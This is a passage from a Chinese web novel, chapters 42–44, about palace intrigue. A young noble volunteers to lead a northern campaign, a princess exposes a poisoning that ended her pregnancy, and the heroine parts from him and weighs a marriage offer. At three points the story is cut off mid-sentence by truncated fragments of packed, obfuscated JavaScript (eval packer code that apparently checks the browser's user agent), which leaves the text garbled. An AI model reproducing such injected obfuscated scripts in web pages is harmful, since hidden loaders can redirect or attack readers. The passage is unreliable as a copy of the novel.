氛围愈发紧张,元韫浓知道反正在惠帝心目中,他们都是结党营私。 “陛下。”元韫浓垂着眼睛上前,“臣女有本要奏。” “讲。”惠帝看向她。 她取出一份奏折,双手呈递,“此次**,臣女搜集了一些线索,还请陛下过目。” 内侍总管接过奏折,呈给惠帝。 惠帝翻开一看,面色阴沉。 虽然没有明确的指示,但是证据都隐隐约约偏向了张家可能有勾结北凉人。 毕竟这回慕载物没有受到什么风波,安好无事地待在宫里。 而慕湖舟却遭受牵连,险些丧命。 由此可见,这也就可能是皇子之间的党派之争,还牵扯到了外敌身上。 不过这也只是一些偏向罢了,也没有明确证据,不能定罪。 慕载物不知道元韫浓递上去的奏折到底写了什么东西,但是就凭惠帝看过来的眼神阴森可怖这一点,他就知道不是什么好东西。 “朝荣,这些东西你也花费了心思,事后朕会给你赏赐。但是日后,不许再如此自作主张。”惠帝警告。 元韫浓温顺地垂眸,“朝荣谨记在心。” 元韫浓当然也没想凭借这么一点线索就给张家定罪。 她本来也就是得到了一些风声和猜测罢了,虽然她觉得十有**就是真的。 但张家人也不是傻子,放着明晃晃的证据不会销毁。 她添油加醋一番交上去给惠帝过目,也没指望惠帝会回去查,或者说给张家定罪。 只要种下一颗怀疑的种子足矣。 怀疑的种子一旦种下,就必然会被催生萌芽。 这时候给元氏分担惠帝的注意就够了,再展现一下他们元氏此刻对于惠帝的必要即可。 在慕载物沉不住气,打算问惠帝那奏折上写的是什么东西前,元韫浓却开口了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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惠帝沉吟片刻后,点了点头,“那众卿家觉得,朕当派谁领兵前去?” 群臣面面相觑,无人敢应声。 现在能派去的,无非就是东营军白家和南营军元家了。 太后党和国公党,这要不是两党之间的人,那自然是闭口不言。 “怎么?众卿家为何如此畏首畏尾,不敢言?”惠帝冷笑,“方才不还群情激奋吗?” 白统领脸色未变,站在原地像是没有听见一样。 他可不想去当这个冤大头。 又去折兵损将的,更何况去了以后,京中就是另一方的一言堂了。 最重要的是,去了还不一定打得过。 如今北凉兵强马壮的,边境驻军不堪其扰,小战几番没一次能打得过。 这要是打输了不但丢脸,还损了将士,还会被惠帝指责怨怪。 这种吃力不讨好的事情,爱谁干谁干。 岐国公站在原地许久,见无人站出来,难免暗叹一声。 南朝能用的武将还是太少了。 既然如此,也只有他们元家老小了。 元彻回见父亲要站出来了,闭了闭眼,打算率先于父亲站出去。 父亲年岁已长,再加上长年累月的陈年旧伤,在战场上摸爬滚打,有不少暗疾,近些年也愈发吃力了起来。 虽然也还能挑大梁,但也不知道什么时候会突然不对。 他已经该独当一面了,该为家族支撑起庇佑,实在不忍心父亲再去这样的战场。 这也不是**什么的,而是实打实的两国之战。 就算是全盛时期的父亲,也不一定能安然无恙地回来。 元彻回正打算代替父亲站出来,却见身边有人比他更快一步。 裴令仪上前,“陛下,臣愿领兵北伐,为陛下分忧。” 满殿俱惊。 “你疯了?”元彻回不可置信。 元韫浓也不可思议地看向了裴令仪的背影。 跟那回巫蛊案,裴令仪站出来顶罪一样,她看着裴令仪和自己擦肩而过。 第42章 清算 这一次元韫浓也没拉住裴令仪,裴令仪微不可察地侧身避过了她伸出去的手,走到前面。 朝臣们也是对此惊异不已。 “清河王年岁尚小,甚至还未弱冠,如何能担此重任?”一位老臣质疑道,“何况你但从未领兵打仗过。” 裴令仪平静道:“自古以来,未及弱冠却建功立业者不胜其数。臣虽不才,但深受陛下恩典。此次北凉人犯我南朝,臣愿为陛下效犬马之劳。” 另一位臣子冷笑道:“从未听说过清河王擅长此道,听闻几年前金明池宴,清河王连靶子都射不中,如何能领兵?” “是啊,况且到底是前朝之姓,其心必异,怎可轻信?”立刻有人点头应和。 裴令仪垂目,一如平常那般温良无害的模样,“陛下明鉴,臣只是为南朝着想,别无他意。” 岐国公皱眉看着裴令仪,“五郎,此事并非儿戏,休得胡闹。” 他平时待裴令仪相敬如宾,以品阶相待,很少会用这样类似于长辈般的口吻。 惠贞长公主同样觉得如此,“此事不妥,家国大事,怎能如此轻率?” “还请国公与长公主放心,陛下自有决断。”裴令仪微微一笑。 “你疯了不成?”元彻回压低了声音,“别上赶着去送死,你真以为你舞剑那几下上了战场就能调兵遣将吗?那完全不一样。” 元蕴英同样一副难以理解的神情,“我朝又不是无人可用了,你发什么疯?” 慕湖舟看着裴令仪,眼中闪过一丝复杂。 “父皇。”他上前道,“儿臣以为清河王此次请缨,恐怕不妥。” 慕载物冷笑一声:“三哥,你这话可不对。人家此次请缨,正是为国分忧呢,你怎么能挡着人家建功立业?” 他巴不得裴令仪死在战场上。 这还方便了他动手呢,就算他不动手,北边想要裴令仪死的人多了去。 北凉人可不仅是恨他们慕南一氏,对裴雍也是恨之入骨。 惠帝盯着裴令仪看,“你真是那么想的吗?” 裴令仪低下头,“臣愿意报效陛下宽宏之恩,回报国公府包容之恩。国公身子不好,臣实在不忍其再上战场。” 岐国公神色若有动容,似乎是没想到裴令仪这么想。 惠帝眯起眼睛,“好,很好!朕准了!” 元韫浓一震。 她当然知道惠帝为什么会同意,因为没有人请缨,这份差事只会落在白家或者元家身上。 白家没有要动的意思,岐国公却有了意向,与其把功劳全落在元氏身上,倒不如旁落些给一个此刻毫无根基的异姓王。 最重要的是,上了战场,怎么样都开始方便起来。 一个人就算是结果怎么样惨烈,在战场上都很合理。 更何况是一个表面上不擅长武艺,也从来没有带兵打仗过的少年。 惠帝甚至不需要自己动手,就会有人暗中铲除掉裴令仪。 惠帝不会真心给裴令仪实权的,也不会想要裴令仪活着回来的。 元韫浓咬了咬牙,“陛下,五郎身份特殊,恐怕……” “朝荣,朕意已决,休要多言。”惠帝面色不善。 “朝荣不敢。”元韫浓暗自攥紧了掌心。 惠帝转向裴令仪,“那朕便封你为骠骑校尉,允诺带半数南营军出征北伐,先去探探北凉军,如何?” 他的意思也很明显了,也不指望裴令仪能够大捷。 裴令仪是北伐的先锋,是试探敌人深浅的敢死军。 惠帝都已经想好了,等到这波人都消耗得差不多了,裴令仪也应该马革裹尸还了。 他不仅铲除了一个眼中钉肉中刺,还能顺理成章地展现自己的宽宏大量,悲天悯人地给个追封。 然后就可以把元家派出去继续战,很合理。 裴令仪恭敬地说:“臣多谢陛下成全,愿为陛下效劳。” “朕就盼着你大胜归来了。”惠帝道,“朕封你为骠骑校尉,点一千精兵,带着圣旨去北州吧,封徐将军为主帅,率北营军北伐。” 北营军镇守北地边境,惠帝也真是放心让裴令仪带着一千人,就去使唤他们开战。 惠帝定论之后,便不等其余人反驳,摆手道,“退朝吧。” “退朝——”内侍尖声喊道。 群臣纷纷送别惠帝,而后退下。 慕湖舟出了金龙殿,看向元韫浓。 元韫浓脸色难看,裴令仪似乎犹豫着想要说些什么,上去小心翼翼地扯了一下元韫浓的袖子,就被元韫浓挥开了手。 慕湖舟正想过去跟元韫浓说什么,就见惠帝身边的内侍上前来。 “三殿下,陛下召您与五殿下一同去御书房觐见呢。”内侍面带笑容。 慕湖舟颔首,“本宫知晓了,有劳公公。” 内侍退下。 御书房内,惠帝坐在御案前,仍看着元韫浓上奏的那本奏折沉思。 “陛下。”内侍总管小心地说,“三殿下和五殿下都在外候着呢,要不要召见他们进来?” 惠帝将手里的奏折往案上一掷,“让他们等着。” 难道见君父多等一会,也不愿意吗? 慕湖舟站在殿外,神色平静。 他自然知道惠帝在权衡,也知道惠帝的猜忌。 “三哥。”慕载物站在一旁,模样却好整以暇,“你说父皇怎么还不召见我们?” 慕湖舟淡淡道:“父皇自有安排,想来是政务繁忙。” 慕湖舟叹了口气,压低了声音道:“三哥有听说吗?父皇最近脾气愈发不好了,听说昨日又杖毙了几个宫女,最近太医院的人都以为父皇焦头烂额呢。” “五弟,慎言。”慕湖舟面色未变,淡声道。 皇后不止一次跟他发火过,说惠帝如今任何一点风吹草动,都可能会引发雷霆之怒。 慕载物不以为意,“说说而已,三哥何必那么紧张呢?你我骨肉血亲,亲兄弟之间谈论几句,又何妨呢?” 慕湖舟冷淡地扫了他一眼。 “宣三皇子、五皇子进殿!”内侍终于喊道。 慕湖舟和慕载物走进御书房,恭敬地行礼:“儿臣参见父皇。” “起来吧。”惠帝抬了一下手。 “今日召见你们兄弟二人,也没有旁的什么事情。”惠帝说,“只是如今你们二人年龄到了,你们的母后母妃也在四下张罗着搜寻妻妾了。” 听到这个问题,慕湖舟和慕载物齐齐一顿。 惠帝继续道:“朕寻思着,等到两三年后载物也弱冠,便开个宴为你们择妃,如何?” 慕湖舟露出一丝淡淡的笑:“多谢父皇,儿臣听父皇的。” 皇后一直逼迫他赶快成亲,还是和白翩飞。 有了惠帝这句话,至少不会定下来是白翩飞,而且还是在两三年后。 “湖舟还等得及吗?”惠帝看向慕湖舟,“等你五弟及冠,还有两三年。正妃之位宫中,但是侧妃和侍妾,可以先选两名。” 慕湖舟笑着摇了摇头,“多谢父皇关怀,儿臣并无此意。正妃尚未入府,后宅怎可先有旁人呢?” “嗯,也好。”惠帝点了点头,又转向慕载物,“你怎么看?” 慕载物其实有点不情愿,这不就是说这两年不能有再娶旁的妻妾了吗? 但是有慕湖舟在先,他也不好说别的什么。 好在后宅已经有贵妃塞进来的几个侍妾了。 他长吁一口气:“儿臣也并无异议。” “那好,退下吧。”惠帝摆了摆手。 “儿臣告退。”二人行礼告退。 惠帝看着二人的背影,目光沉沉。 慕湖舟处事稳重,行止有度,仪望风表,迥然独秀。 还是中宫嫡出,看着是个很好的储君人选。 可是齐家,最近越来越过分了。 真以为把他托举到了这个皇位上就可以为所欲为了吗?这天下姓慕,不姓齐。 就连慕湖舟的婚事都想要插手,真就那么着急了吗? 若是慕湖舟真成了储君,这天下干脆改姓齐吧。 他对太后和齐家,早有怨言。 而慕载物呢?是他来之不易的皇子,因此也偏疼了几分。 再加上他的母妃家世也不差,也知情识趣,懂得哄他开心,招人喜欢。 虽然能力比不上慕湖舟,但却跟其母妃一样,会哄他开心。 可惜了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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惠贞长公主看向元蕴英,元蕴英冷声道:“不敢劳烦夫人,夫人贵为长公主,怎么还屈尊为父亲拭甲呢?” 惠贞长公主的手顿了顿,她平静地收回了手,目光转向岐国公。 岐国公只是皱着眉,并没有说什么。 惠贞长公主闭了闭眼。 她教元韫浓的没有错,他们才是一家人。 但她也错了,她也不再属于皇家了。 岐国公难掩眉宇之间风尘仆仆的倦怠,“公主是如何做想的?大可以全部告之。” 惠贞长公主问:“你们觉得,我是早知道这些事情,所以随着陛下跑得远远的,弃你们于不顾。甚至连预警都没有一声,甚至连应怜,我的亲骨肉都留在这里不带走吗?” 众人沉默。 那就是默认了。 惠贞长公主眉毛一弯,忍不住笑起来:“那你们可真是误会了陛下,他可没想到这些,他只是隐隐约约有了不祥的预感。” “可他太懦弱了,懦弱到即使是预感,都慌乱地走了,还带走了我。”她喉咙微涩,“我曾经怜惜他的懦弱,到如今怨恨他的懦弱。” 岐国公微微一怔。 “既然都这样了,那我们就把一切都讲开吧。”惠贞长公主睫毛微微一颤,“当初我生下应怜的时候,你开心吗?” “我……”岐国公如同被定住了一般,说不出话。 他下意识看向了元蕴英。 元蕴英面色煞白。 惠贞长公主将他们父女的表情尽收眼底。 岐国公扶住了惠贞长公主的手臂,哑着声道:“此事是我们之错,可后来我确实真心喜爱应怜,尤甚其他儿女。” 元云和说道:“是啊,纵使千错万错,后来父亲最喜爱的孩子是四娘,这一点所有人都知道。” “对!”元蕴英似乎找回了一点底气,忙应声道,“父亲平日里的偏心你不是不知道,所有人都看着眼里!” 第43章 跪求原谅 元彻回说:“夫人,父亲就算那时候有过什么别的。这些年来,也从未沾花惹草,府中没有妾室,除了我们的生母,只有夫人一人了。” “哈哈哈!”惠贞长公主笑出了声,“那就够了吗?这样就够了吗!” “我嫁给谁不是这样?我以长公主的身份嫁给谁,谁不该做到不纳妾!难道他这么做是因为爱我吗?他那么做不是因为他的亡妻吗!”她厉声反驳,后退时扫落一地茶盏杯具。 瓷器碎落一地,所有的假面都撕碎了。 惠贞长公主猛地一步上前,拽过岐国公,“当年元蕴英意外撞到我以后,我摔下台阶流产,你知道这个消息之后,是不是暗喜了许久?” “我、你……可你不是说原谅我了吗?”元蕴英的脸色惨白如纸。 当年是她听信奶嬷的话,觉得这个身份尊贵的继母但凡生下一儿半女,国公府就没有他们兄妹三人的位置了。 但她确实是无意之间在打闹时,不小心撞到惠贞长公主的。 她就算不高兴,就算闹得天翻地覆,也没想过要害惠贞长公主和那个孩子。 “我是原谅你了,因为不怪你!”惠贞长公主说,“因为是陛下给我的红花汤,告诉我不能生下那个孩子!” “因为那个孩子是个男胎,他不能继承皇族和元氏的血脉,也会妨碍我继续替陛下监视国公府有没有谋反之心,所以陛下借口那个孩子胎相不稳会让我有性命之忧,让我打掉那个孩子。” 满室俱惊。 惠贞长公主把什么都说出来了。 元家的三个孩子面露震惊。 元蕴英甚至颤抖起来,“什么……” “他们不知道,但是你知道对不对?”惠贞长公主死死地盯着岐国公,“你知道那碗红花汤,但你默许了,因为你也不想要那个孩子!” 岐国公嗫嚅着说不出话来,他不敢直视惠贞长公主的眼睛。 “因为比起我们那个未出生的孩子,你更爱和原配生下的三个孩子,你不想要我们的孩子成为他们的担忧!”惠贞长公主死拽着岐国公,捏得手指发白。 元云和、元彻回和元蕴英齐齐看向岐国公。 “然后你安慰我还会有孩子的,端过来的那碗补药,是陛下给你的绝子汤吧?!”惠贞长公主目露恨意。 那是她被她的弟弟和丈夫一起背叛。 元彻回倒吸一口冷气。 “不、不是,那碗汤是我自己喝了,我没有给你,你的身子怎么还受得住?”岐国公嘴唇翕动了两下。 “哈哈!连你都知道怜惜我的身子,可我的好弟弟,为了你的支持,逼着哄着我嫁给你的好弟弟,却从来没有想过!”惠贞长公主笑出了声。 她笑着后退了一步,“可惜那是给女子的绝子汤,你喝了用处不大,我们还是有了应怜。” 她又扑回去抓住了岐国公的手,“这次因为是个女孩,再加上我情绪不稳无法替他看着你们,所以陛下允许她降生了!” 惠贞长公主用力到指甲都抠进了岐国公的肉里,“她生下来之后,你难道真心为她欢笑过吗?你没有!你依然在安慰你原配的孩子,你说只有他们才是你的孩子!” 岐国公的手被她的指甲抓破了皮,渗出了血,可他完全顾不上这些了。 他瞳孔颤了颤,“你怎么会知道……” “我自幼在宫中长大,浸淫宫斗权斗,这些我什么不知道?元氏是我在管家中馈,我怎么能不知道!”惠贞长公主惨笑道。 “我后面是真心爱应怜,是一样的,尤甚彻回他们,我待你也是和亡妻一样的……”岐国公轻声说道。 惠贞长公主毫不留情地给了他一巴掌。 “怎么一样?!”惠贞长公主的眼泪从眼眶里涌出来。 “你既然那么爱她,当时为什么还要奉命娶我?既然一开始不爱应怜,为什么还要和我生下她!”她厉声诘问,“你爱她是因为她本身就讨人喜欢,但凡她是个不招人喜爱的孩子呢?!” 岐国公爱元云和他们,是因为他们是原配的孩子。 但元韫浓不一样,岐国公爱她,不是因为她的母亲是惠贞长公主。 而是因为元韫浓本身就很讨人喜爱。 岐国公回过脸,怔怔地看着泪流满面的惠贞长公主。 这么多年的沉疴顽疾,终于在此刻揭开。 腐烂流脓的创口,因为害怕疼痛太多年自欺欺人,没有去看。 今天痛过了,也流血了,才会好。 元韫浓听着小满的禀报,低低地叹息了一声。 “如此,讲开了也好。”元韫浓闭了闭眼,“不管母亲怎么选,总比先前那样同床异梦的好。” 小满点了一下头。 元韫浓感受到寒气,“外边下雪了吧,炉子再添旺一些,我冷。” “是。”小满应声。 霜降犹豫了一下,“郡主,外头是下雪了,五郎还候在外面没走呢。” “他愿意等就他等。”元韫浓没什么表情。 裴令仪既然敢一声不吭自己去接这个送命的活,翅膀硬了,她也犯不着上赶着去管。 她支使霜降:“去把南窗打开。” 裴令仪就立在北面,她是瞧都不想瞧。 “郡主,天寒地冻的,受了寒得病了。”霜降为难地劝道。 “你做郡主还是我做郡主?”元韫浓冷声问道。 前世论起**专断,元韫浓比裴令仪要**作为多了。 霜降只得去打开窗门,户牖已开,风雪一下子迎面而来。 粉墙低,梅花照眼,依然旧风味。露痕轻缀。疑净洗铅华,无限佳丽。 “快些把火添旺些。”霜降忙使唤几个小鬟。 “再去煮壶烈酒。”元韫浓说。 霜降只得再差人去煮酒。 元韫浓躺在床边的矮塌上,蜷缩在层层叠叠堆在一起的锦丝绒毯里。 大雪纷飞,炉火正旺,烈酒已沸。 望向窗外漂泊大雪,或许是喝了一点酒,元韫浓的意识突然有些昏沉了。 她恍惚间好像看到了前世的裴令仪,已经是帝王的裴令仪。 头戴冕旒,身着朝服的裴令仪就在她榻边坐下,微凉的手指摸上她发烫的眼睑。 “皇后。”他先是那么喊,然后又喊阿姊。 元韫浓也是糊涂了,竟然也开口:“你来做什么?” 她身上的衣衫半褪半搂,裸露出纤瘦的肩膀。 那片肌肤有些冷。 裴令仪语调很平静,却像是在抱怨:“我这个皇帝,当得还不如你这个皇后。只有我来侍寝你的份,没有你来侍寝我的份。” “阿姊要求的礼仪总是很繁琐,许是向来身份尊贵,所以才喜怒无常。有时我做好准备等上一整夜,阿姊也不会来。” “就像是昨夜里一样,明明说好了来圣宸宫找我的,却又没有来,连今早的朝会也没来,我只得自己来凤仪宫找阿姊。” “若是我不来凤仪宫,阿姊无事,便也不会来圣宸宫寻我。” 他的这些话都像是埋怨,让元韫浓有些恼怒了。 元韫浓坐直身子,衣衫滑落至腰间,含着怒意道:“那你滚啊。” “郡主是在说五郎吗?”霜降的询问让元韫浓回过了神。 迎面的寒风倒是让元韫浓冷清醒了,发觉方才只不过是自己醉糊涂了,把想到的前世事当成了现在。 她拉上衣衫,“他在外头等多久了?” 霜降小心地说道:“快要三个时辰了。” “他还真等得下去。”元韫浓冷笑。 霜降跟在元韫浓身边那么久,自然能揣测出她几分心意,便顺势而为说道:“在风雪里站上那么久,铁打的身子都要坏了。” 元韫浓冷哼:“我看他身子好得很。” “可五郎不日之后便要北伐呢,他头回上战场,又是如此凶险的敌军,这会要是冻病了,可就不好了。”霜降劝说。 元韫浓想了想,“替我拿件大氅来。” “是。”小满应声。 元韫浓披上大氅,走了出去。 外边的风雪果然好大啊,一切都是静悄悄的。 天仙碧玉琼瑶,点点扬花,片片鹅毛。 天色已暗,裴令仪立在雪地里,肩膀积载了一层薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阿姊,是我错了……”裴令仪再抬起头,眼眶泛红,眼中已是水光潋滟,“你怎么打我罚我也好,别不要我……” 眼泪从他眼睛里涌出来,顺着脸颊淌下来,睫毛也被打湿成一绺一绺的。 他的眼睛居高临下看人时格外锋锐,但只要他下定决心想要讨人怜,抬着眼睛看人,眼尾微微下垂,怎么看怎么可怜。 他拉着元韫浓的裙角轻轻晃了晃,软着声调哀求:“阿姊……” “起来。”元韫浓闭了闭眼。 裴令仪委屈巴巴地摇头,“阿姊尚且没有原谅我,我仍是有错之人,要乞求阿姊原谅,合该负荆请罪。我尚且没有背负荆条,只是跪着而已,怎敢起来?” “别以为我不知道你那些小心思!”元韫浓冷着脸抽回了裴令仪手里的那一片裙摆。 裴令仪抬起头,眼中满是澹澹的泪水,折射出雪光,“阿姊……” “起来吧。”元韫浓转身,“滚进来说话。” 她走入房内。 裴令仪站起身,站在雪地里太久,刚才又一直跪着,一下子身形晃了一下。 霜降看了他一眼,“五郎?” “无碍。”裴令仪摇了摇头,跟着走进屋内。 元韫浓回房内坐下,见裴令仪站在门口,“站那里干什么?” “我身上都湿透了,会弄脏阿姊房中物件的。况且我如今一身寒气,怕过了给阿姊。”裴令仪温驯地笑了笑。 他的衣衫已经被雪水浸透,苍白的脸上只有眼尾是微微泛红的。 “少在那里装模作样的,滚进来坐着。”元韫浓没给他好脸色。 裴令仪见元韫浓真的动怒了,默不作声地进门,但还是跪在了元韫浓跟前。 “阿姊,是我错了。”他低着头露出一截脖颈,就像是引颈就戮的羔羊。 生杀予夺,全部交由元韫浓处置。 而他只管献祭自己。 做一条好狗就是这样的,平时只管护主,至于生死,交由主人就好了。 第44章 不再需要我 “你倒是惯会装可怜来讨我怜惜。”元韫浓轻哼一声。 裴令仪又跪着膝行而前,轻轻将脸贴在元韫浓膝上,小心不然自己被雪水浸湿的头发碰到元韫浓的衣裳。 “求阿姊怜我一回吧。”他委屈道。 他分明是只**的恶鬼,却却偏偏整了张昳丽的脸,远远看过去无限落寞,引诱人心生同情。 元韫浓看着他乌黑的鬓发,“我确实需要一把锋利且趁手的刀。” 裴令仪抬起头望向元韫浓,眼睛闪烁着莹润的光芒,像是有些雀跃地期待元韫浓会夸他。 “但这也不代表你能自作主张,先斩后奏。”元韫浓面无表情道。 裴令仪又可怜兮兮地低下脑袋。 元韫浓说:“但事已至此,你需得活着回来。” “我会活着回来的。”裴令仪说。 岁浓院的炭火在冬日里向来烧得最旺,因为元韫浓怕冷。 在太暖和的地方,原来冻疮的地方就会难耐地痒。 连心脏也是一样,暖和得像是要绽裂一样。 裴令仪垂着眼,无意识地掰扯着自己的手指。 “惠帝不会想让你活着回来的,张家也是。徐氏既然如今有向着慕载物靠的意思,你也不能掉以轻心。行军打仗,防不胜防,小心他们给你使绊子下黑手。”元韫浓叮嘱道。 裴令仪点了点头,这点他自然也是知道的。 元韫浓叹了口气:“到了北面,想要你死的人多了去,除了北凉人,自己人也是。切莫当心,保命要紧。” 听着元韫浓的叮咛,裴令仪眨了眨眼睛。 “不许哭,噤声。”元韫浓伸手点了一下裴令仪的眉心,“别撒娇,想清楚自己该做什么。” 裴令仪露出笑,“我晓得了,阿姊放心才是。” 元韫浓知道裴令仪自己有自己的手段,也不是真的弱小可怜又无助,实打实的会吞人的黑心莲。 但是耐不住裴令仪自己会装可怜。 “旁的我也不多说了,趁着这些天还未出征,多做准备吧。有什么不懂的,多去问问父亲,他是久经沙场的,这些事情我不懂,但他了解。”元韫浓说。 裴令仪模样乖巧,“我都知道了,阿姊。” 出征之日来得比元韫浓想象中还要快。 名义上是义子,于情于理,岐国公还是要来送裴令仪的。 元韫浓见岐国公和惠贞长公主相处似乎和寻常并无什么不同,稍稍放心了下来。 惠贞长公主有自己的心结。 她所求的是一个家,却自幼丧母,和幼弟相依为命。 正因为很长一段时间里,对于她而言,惠帝是她唯一的亲人,所以她才会无法割舍这段情感。 但是以公主的身份嫁入国公府以后,她的身份又微妙了起来。 她的身份和国公府家中人口的特殊,让她既无法完美融入国公府这个家,也无法退回到原来纯粹的皇族身份。 这两面都撕扯着她,两边都不能算是她真正的家。 直到元韫浓的降生让她有了归属。 现在把一切都说开了也好,元韫浓轻叹一声。 天光明亮,风雪却未曾停歇。寒意笼罩了京华城阙,楼台湿寒,城门之外,入目萧索。 细雪纷纷扬扬地落下,一千精兵整装待发。 裴令仪身披银甲,肤色冷白,睫毛上也沾着晶莹的雪粒,衬得愈发清冷。 他站在元韫浓面前,露出一点笑:“多谢阿姊来送我。” 其实来送他的人挺多的,虽然很多都只是点头之交。 裴令仪很少和人深交,这一点无论前世还是今生都一样。 元韫浓看着裴令仪疏离地跟慕水妃和沈川点头致意,愈发觉得古怪。 裴令仪为什么跟慕水妃那么疏远?难道是因为她将裴令仪带到国公府了,二人没有相处时间了吗? 虽然说慕水妃待裴令仪还是和前世一样的态度,那种友善的,看待邻家弟弟的态度。 但是为何就连沈川和慕水妃也没有像前世那样,暗许终身? 反而是如同知交好友一般随和相处? 她难道改变了那么多吗? 直到裴令仪站到她面前,元韫浓都没想好要跟裴令仪说什么。 没什么好说的,翻来覆去也不过是一句活着回来,该嘱咐的也早就嘱咐过了。 话到嘴边,元韫浓只是轻轻叹息。 到头来只说了一句:“保重。” 裴令仪却像是明白她所想的那样,展露柔软的笑容,“嗯。” “保重,清都。”元韫浓再次说道。 “嗯。”裴令仪再次颔首。 也不能再继续拖下去,裴令仪翻身上马,回头看了元韫浓一眼。 “阿姊。”他轻声说,“保重。” 士兵开始行进,元韫浓目送他们远离。 裴令仪在最前头,也最先看不到。 元韫浓看着裴令仪的身影渐渐消失在雪幕中,雪花落在她的脸上,化作冰冷的水珠。 因为和前世不同,今生和裴令仪的朝夕相处太早了,也太久了。 因为元韫浓这一次是看着裴令仪日复一日,年复一年成长的,所以能更加清晰地感受到。 裴令仪的艰难、苦难还有冷漠。 这是元韫浓所看到的,还有更多她看不到的。 所以有时候元韫浓还会想,像是她看不到的前世,裴令仪是怎么样才能从炼狱般的开端,复国成为帝王,走到她的面前来的。 “韫浓妹妹。”听到熟悉的笑语。 元韫浓转过头,果然是慕水妃,沈川也含笑在后头,冲着她点头,“韫浓。” 元韫浓又转头去看岐国公和惠贞长公主。 惠贞长公主对她笑了笑,“去玩吧,雪大,早些回家知道吗?” “真是的,母亲,我又不是孩子了。”元韫浓笑。 她向慕水妃和沈川走去。 沈川和慕水妃向元韫浓身后的岐国公和惠贞长公主行礼。 然后三人说笑着朝着城内走去。 慕水妃能出宫的时候很少,身为公主必然不能如同慕湖舟那么自由。 但因为有当年那位女帝,所幸风气开放,男女之别也好上很多。 对于公主的束缚也少了许多。 再加上惠帝不怎么管这方面的事情,皇后又因为立储之事成日里焦头烂额,慕水妃经常借着慕湖舟的名义出宫。 慕水妃、沈川和元韫浓、裴令仪时常会一同出行。 这么想来,裴令仪和慕水妃也不是没有机会相处啊。 只是这些年他俩相处也是不咸不淡的,慕水妃倒是一直很友善,但裴令仪都不带跟慕水妃、沈川多说话的。 裴令仪本来就话少,一般说话还都是跟元韫浓说。 可元韫浓仔细想想,前世裴令仪也是这样啊。 她只能把原因归咎于裴令仪性子太孤僻了。 “怎么一直看我呢?”慕水妃见元韫浓今日一直往自己这里瞄,有些腼腆,“是我今日的妆不好吗?” 元韫浓笑了笑,“怎么会?只是突然想吃水妃姐姐做的透花糕了。” 慕水妃一听,立马道:“我这就回去给你做。” “姐姐可别玩笑了。”元韫浓笑着拖住她,“不如姐姐替我去旁边摊贩那买点呢,下次再亲自做给我吃。” “也是。”慕水妃不好意思地笑笑,环顾四周,指了指旁边的茶摊,“那你和沈川先去那里喝杯茶等我吧。” 说着,她便去买糕点了,压根没想到要问沈川一句要不要吃。 元韫浓怎么看怎么不觉得今生慕水妃和沈川有什么。 和沈川在茶摊坐下,叫了一壶茶。 想到岐国公说的沈川愿意娶她这件事情,元韫浓真是越想越稀奇。 这辈子慕水妃、沈川和裴令仪的态度,她真是一个都想不明白。 “韫浓。”沈川对元韫浓提起,“先前元世伯向我提起婚约一事……” 见沈川主动提起,元韫浓精神一振。 自岐国公提起之后,元韫浓和沈川都彼此没有说起来过这回事情,如今沈川居然主动开口了,她要看看沈川到底是什么意思。 “我和同世伯说的那样,眼下我实际上并没有想要娶妻的心思,只想仕途光明。”沈川笑,“但若是你愿意嫁与我,需要我,我不会委屈你。” 他这话说得很光明磊落,一时间叫元韫浓不知道该说什么好。 “为什么?”元韫浓只能问,“那水妃姐姐呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是越到后面,元韫浓越不会离开。 她和裴令仪是夫妻,是帝后,是天然的盟友,心照不宣的野心家。 如果再回到那个局面,其实她还会做裴令仪的皇后。 只是他们之间太复杂了,怨恨遮盖住了太多东西。 可无法否认裴令仪是极好的盟友。 是裴令仪亲手把她困在权欲的囚笼,让她陪他在那个斗兽场化身为权斗的怪物。 尽管她本性如此。 直到裴令仪死后,慕水妃和沈川才选择离开去周游天下,游山玩水。 那或许是他们最原本想要的,只是因为元韫浓留下来了。 而裴令仪死后,元韫浓也不再需要他们了。 不需要他们作为保障的后盾,不需要他们作为对照,甚至元韫浓也不再需要沈川。 因为裴令仪在世时,她好像如何如何喜爱沈川,实际上只是和裴令仪赌气的执念。 她本就爱权位胜过沈川。 沈川其实在这一点上,把她看得很明白。 沈川知道元韫浓没那么爱他。 原来是这样。 “多谢,沈大哥。”元韫浓由衷地感谢。 无论是前世还是今生,她感谢沈川和慕水妃为她所做。 “这有什么好谢的?快喝茶吧,茶水都要凉了。”沈川笑着摇头。 另一头慕水妃拎着一包透花糕走来,“在聊什么呢?如此畅快。” “在聊韫浓的婚嫁之事呢,元世伯本想让沈元两家联姻的。”沈川是半点都没想着瞒慕水妃。 慕水妃满脸忧色,“韫浓,嫁人可不好。” 元韫浓确信了,这两人今生是纯粹的知交,前世估计也是裴令仪下旨后才先婚后爱。 枉费她前世巧取豪夺,压根没必要。 “我现在没打算嫁人,水妃姐姐。”元韫浓安慰道。 慕水妃松了口气,“那就好。” 她开始列举嫁人的坏处,沈川在旁时不时取笑两句。 